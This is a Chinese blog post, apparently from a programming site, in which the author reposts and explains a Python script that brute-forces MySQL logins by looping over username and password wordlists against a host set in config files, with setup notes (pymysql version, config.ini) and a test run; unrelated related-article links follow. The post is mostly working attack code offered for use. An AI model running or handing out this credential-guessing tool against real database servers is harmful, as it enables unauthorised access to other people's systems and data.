0x00

这几天学习了使用python去爆破mysql数据库。脚本转载连接:

python 构造mysql爆破器 - 东京$ - 博客园

脚本具体内容如下:

import pymysql
import optparse
import os
import configparserdef main():parser=optparse.OptionParser()parser.add_option('-u',dest='username',help='MySQL username of blasting')parser.add_option('-p',dest='password',help='MySQL password of blasting')parser.add_option('-a',action='store_true',dest='all',help='MySQL all of blasting')parser.add_option('-U',dest='zhidinusername',help='Configuration parameters for all: specify user dictionary')parser.add_option('-P',dest='zhidinpassword',help='Configuration parameters for all: specify password dictionary')(options,args)=parser.parse_args()if options.username:file=options.usernameusernamepo(file)elif options.password:file2=options.passwordpasswordpo(file2)elif options.all and options.zhidinusername and options.zhidinpassword:un=options.zhidinusernamepd=options.zhidinpasswordallpo(un,pd)else:parser.print_help()exit()def usernamepo(file):cx=open('{}'.format(file),'r')if os.path.exists('config.ini'):print('[+]Config.ini ok')else:print('[-]Config.ini Not Found')exit()print('[*]Read the configuration file information')cf=configparser.ConfigParser()cf.read('config.ini')host=cf.get('config','host')port=cf.get('config','port')password=cf.get('config','password')print('[/]-------Config.ini-------')print('[+]Host:{}'.format(host))print('[+]Port:{}'.format(port))print('[+]password{}'.format(password))print('[/]------User.txt----------')if os.path.exists(file):print('[+]User.txt ok')else:print('[-]User.txt Not Found')print('[/]------Mysql blasting------')for k in cx.readlines():try:db=pymysql.connect(host,k.strip(),password)print('[+]Mysql Username in {}'.format(k.strip()))except Exception as g:print('[-]Not Username:{},and Error{}'.format(k.strip(),g))def passwordpo(file2):cx = open('{}'.format(file2), 'r')if os.path.exists('config.ini'):print('[+]Config.ini ok')else:print('[-]Config.ini Not Found')exit()print('[*]Read the configuration file information')cf = configparser.ConfigParser()cf.read('config2.ini')host = cf.get('config', 'host')port = cf.get('config', 'port')username = cf.get('config', 'username')print('[/]-------Config.ini-------')print('[+]Host:{}'.format(host))print('[+]Port:{}'.format(port))print('[+]username{}'.format(username))print('[/]------passwd.txt----------')if os.path.exists(file2):print('[+]Passwd.txt ok')else:print('[-]Passwd.txt Not Found')print('[/]------Mysql blasting------')for k in cx.readlines():try:db = pymysql.connect(host, username, k.strip())print('[+]Mysql Password in {}'.format(k.strip()))except Exception as g:print('[-]Not Password:{},and Error{}'.format(k.strip(), g))def  allpo(un,pd):user=open('{}'.format(un),'r')passs=open('{}'.format(pd),'r')usern=[]passn=[]if os.path.exists(un):print('[+]Username.txt is ok')else:print('[-]Not Found username.txt')if os.path.exists(pd):print('[+]Password.txt is ok')else:print('[-]Not Found password.txt')if os.path.exists('config3.ini'):print('[+]Config3.ini ok')else:print('[-]Config3.ini Not Found')exit()cf=configparser.ConfigParser()print('[/---------cofnig3.ini-------]')cf.read('config3.ini')host=cf.get('config','host')print('[+]host:{}'.format(host))print('[/]------Mysql blasting------')for u in user.readlines():usern.append(u.strip())for y in passs.readlines():passn.append(y.strip())for g in range(0,len(usern)):try:dk=pymysql.connect(host,usern[g],passn[g])print('[+]Username:{} and password:{}'.format(usern[g],passn[g]))except Exception as p:print('[-]Not username:{} and password:{} and Error:{}'.format(usern[g],passn[g],p))if __name__ == '__main__':main()

0x01

脚本的使用

因为我自己的python也学的很烂,所以这个脚本也只是大概理解。首先需要注意的点就是安装上面所需的库,其中pymsql的库不能安装最新版本,要安装0.9.2的版本,否则会出现以下报错:

这个报错就是说明参数的数量不能相对应上。

然后需要创建相对应的config.ini文件。文件内容如下:

[config]
host=要爆破的地址
port=3306
username=root
password=123456

首先地址和端口就不用说了,这里之所以添加username和password的原因就在于该脚本的所提供的功能:

这里看到,可以采用-p pass.txt指定密码爆破,-u user.txt指定用户名爆破,以及-a -U user.txt -P pass.txt同时指定用户名和密码来爆破。所以例如当指定密码爆破时,所采用的账户就是上述config.ini中填写的账户。

一定要注意,想要完整的运行此脚本,需要设置好config.ini、config1.ini、config2.ini以及pass.txt、user.txt。

0x02

下面就简要去爆破一个mysql试试:

需要注意的一点就是,回显出来的IP地址和爆破的地址是不一样的,因为是从本机发出的请求去爆破,所以下方会显示本机的IP地址。而实际上还是去爆破在config.ini中设置好的ip。当密码正确时就会自动提示了。

0x03

以上内容均是个人理解,如果有不对的地方希望能够指点一二,感激不尽。

利用python爆破mysql数据库相关推荐

  1. 操作 mysql 不生成日志_利用Python操作MySQL数据库,以后不懂这些是要被鄙视的!...

    前言 在工作中,我们需要经常对数据库进行操作,比如 Oracle.MySQL.SQL Sever 等,今天我们就学习如何利用Python来操作 MySQL 数据库. 本人环境:Python 3.7.0 ...

  2. python如何收集数据库_利用Python操作mysql数据库

    本文主要讲解如何利用python中的pymysql库来对mysql数据库进行操作 大家在转行项目中也可以加入这一步操作,提高逼格的同时还能简化流程 正文开始: 先看一下最常见的操作:从数据库中sele ...

  3. python和sqlserver_利用python实现mysql数据库向sqlserver的同步

    话不多说,直接上代码. #!/usr/bin/python # -*- coding:utf8 -*- # author: chenzhixin """ 一.安装环境: ...

  4. 利用Python访问Mysql数据库

    首先要明确一点,我们在Python中需要通过第三方库才能访问Mysql. 有这样几种方式:Mysql-python(即MySQLdb).pymysql.mysql-connector.Mysql-py ...

  5. 快速使用Python连接MySQL数据库的方法

    我是在Anaconda notebook中进行连接实验的,环境Python3.6,当然也可以在Python Shell里面进行操作. 最常用也最稳定的用于连接MySQL数据库的python库是PyMy ...

  6. python与mysql数据库_python与MySQL数据库

    python与MySQL数据库 我使用的软件:python2.7 + MySQL+ Navicat for MySQL + Atom 注意:你的数据库表格类型的引擎为:InnoDB :字符集:utf8 ...

  7. 医院信息管理系统(Python与MySQL数据库的连接与相关增删改查操作)

    题目意义 医院信息管理是一项琐碎.复杂而又十分细致的工作,这关系到医院体系能否运行起来这一关乎国民健康水平的重大问题.我们只有利用好了医院中每个医生.护士的各项资源,才能使得医院系统能够有序而条理的进 ...

  8. python操作mysql数据库实现增删改查

    Python 标准数据库接口为 Python DB-API,Python DB-API为开发人员提供了数据库应用编程接口. Python 数据库接口支持非常多的数据库,你可以选择适合你项目的数据库: ...

  9. Python与MySQL数据库的交互实战

    作者 | Huang supreme 编辑 | 郭芮 图源 | 视觉中国 安装PyMySQL库 如果你想要使用python操作MySQL数据库,就必须先要安装pymysql库,这个库的安装很简单,直接 ...

最新文章

  1. NodeJs端口被占用的情况
  2. Linux内核中的进程等待与其实现解析
  3. 当outlook打开附件的EXCEL表报出 文件已经损坏 但别人能打开时
  4. java加按钮_如何从零开始对接第三方登录(Java版):QQ登录和微博登录
  5. (十二)运行环境(加载、性能优化、安全)【这些会了,你就可以飞了】
  6. windows + cmake + vs2019 编程
  7. 诗与远方:无题(七十三)
  8. AGG第十八课 agg::trans_affine仿射变换
  9. Does Your Wooden Surface Really Need Sealing?
  10. interpretable machine learning
  11. 前端+后端实现导入功能
  12. SpringBoot实现Excel导入导出,好用到爆,POI可以扔掉了
  13. 无线专题 WAN口和LAN口、WLAN和WiFi区别
  14. Python 之 类 (Tom猫)
  15. ios微信分享失效,不支持history.pushState方法
  16. 普林斯顿算法课作业 part II 的python实现(四)Boggle
  17. html5火焰字体效果,CSS3文字特效属性text-shadow如何实现火焰文字的效果
  18. 浏览器调用桌面程序方法
  19. Python基础教程(英文视频教学)
  20. max 图片无法拖入3ds_达尔文3号和超级玛丽3号max,怎么选?首选它!

热门文章

  1. 关于yolov3.weights文件下载地址的分享
  2. 如何快速的下载百度网盘的文件
  3. 为何腾讯云在云服务市场败给了阿里云?
  4. ActiveMQ使用及原理浅析(消息队列)
  5. php实现图片液化,图像变形算法:实现Photoshop液化工具箱中向前变形工具
  6. 如何解决刷新一瞬间 出现样式未加载完 或者 出现VUE代码问题
  7. DIY超好吃的橙子果酱
  8. excel从右边查找字符并截取
  9. 非计算机专业全国壹级,非计算机专业专科学生全国计算机一级等级考试应试策略...
  10. Snipaste截图界大咖